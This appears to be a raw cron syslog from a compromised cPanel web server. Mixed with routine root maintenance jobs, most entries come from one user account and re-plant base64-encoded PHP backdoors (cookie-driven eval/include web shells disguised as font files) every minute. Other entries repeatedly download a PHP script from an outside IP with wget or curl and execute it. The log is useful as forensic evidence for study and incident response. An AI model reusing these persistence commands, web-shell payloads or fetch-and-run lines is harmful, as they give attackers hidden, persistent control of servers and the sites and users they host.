Sep  3 21:05:02 ip-184-168-122-23 CROND[32157]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:05:02 ip-184-168-122-23 CROND[32159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:05:02 ip-184-168-122-23 CROND[32160]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 21:05:02 ip-184-168-122-23 CROND[32162]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 21:05:02 ip-184-168-122-23 CROND[32163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:05:02 ip-184-168-122-23 CROND[32164]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 21:05:02 ip-184-168-122-23 CROND[32161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:06:01 ip-184-168-122-23 CROND[32258]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 21:06:01 ip-184-168-122-23 CROND[32261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:06:01 ip-184-168-122-23 CROND[32262]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:06:01 ip-184-168-122-23 CROND[32260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:06:02 ip-184-168-122-23 CROND[32263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:07:01 ip-184-168-122-23 CROND[32435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:07:01 ip-184-168-122-23 CROND[32434]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:07:01 ip-184-168-122-23 CROND[32436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:07:01 ip-184-168-122-23 CROND[32437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:08:01 ip-184-168-122-23 CROND[32523]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 21:08:01 ip-184-168-122-23 CROND[32525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:08:01 ip-184-168-122-23 CROND[32526]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:08:01 ip-184-168-122-23 CROND[32527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:08:01 ip-184-168-122-23 CROND[32529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:09:01 ip-184-168-122-23 CROND[32659]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:09:01 ip-184-168-122-23 CROND[32664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:09:01 ip-184-168-122-23 CROND[32663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:09:01 ip-184-168-122-23 CROND[32661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:09:01 ip-184-168-122-23 CROND[32662]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 21:10:01 ip-184-168-122-23 CROND[32748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:10:01 ip-184-168-122-23 CROND[32752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:10:01 ip-184-168-122-23 CROND[32753]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 21:10:01 ip-184-168-122-23 CROND[32756]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 21:10:01 ip-184-168-122-23 CROND[32760]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 21:10:01 ip-184-168-122-23 CROND[32759]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 21:10:01 ip-184-168-122-23 CROND[32757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:10:01 ip-184-168-122-23 CROND[32761]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:11:01 ip-184-168-122-23 CROND[401]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:11:01 ip-184-168-122-23 CROND[402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:11:01 ip-184-168-122-23 CROND[403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:11:01 ip-184-168-122-23 CROND[404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:12:01 ip-184-168-122-23 CROND[577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:12:01 ip-184-168-122-23 CROND[580]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 21:12:01 ip-184-168-122-23 CROND[578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:12:01 ip-184-168-122-23 CROND[579]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:12:01 ip-184-168-122-23 CROND[581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:13:01 ip-184-168-122-23 CROND[682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:13:01 ip-184-168-122-23 CROND[683]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:13:01 ip-184-168-122-23 CROND[681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:13:01 ip-184-168-122-23 CROND[684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:14:01 ip-184-168-122-23 CROND[769]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:14:01 ip-184-168-122-23 CROND[773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:14:01 ip-184-168-122-23 CROND[774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:14:01 ip-184-168-122-23 CROND[771]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 21:14:01 ip-184-168-122-23 CROND[772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:15:01 ip-184-168-122-23 CROND[858]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 21:15:01 ip-184-168-122-23 CROND[860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:15:01 ip-184-168-122-23 CROND[862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:15:01 ip-184-168-122-23 CROND[861]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:15:01 ip-184-168-122-23 CROND[863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:15:01 ip-184-168-122-23 CROND[864]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 21:16:01 ip-184-168-122-23 CROND[958]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:16:01 ip-184-168-122-23 CROND[960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:16:01 ip-184-168-122-23 CROND[961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:16:01 ip-184-168-122-23 CROND[962]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 21:16:01 ip-184-168-122-23 CROND[963]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 21:16:01 ip-184-168-122-23 CROND[964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:17:01 ip-184-168-122-23 CROND[1057]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
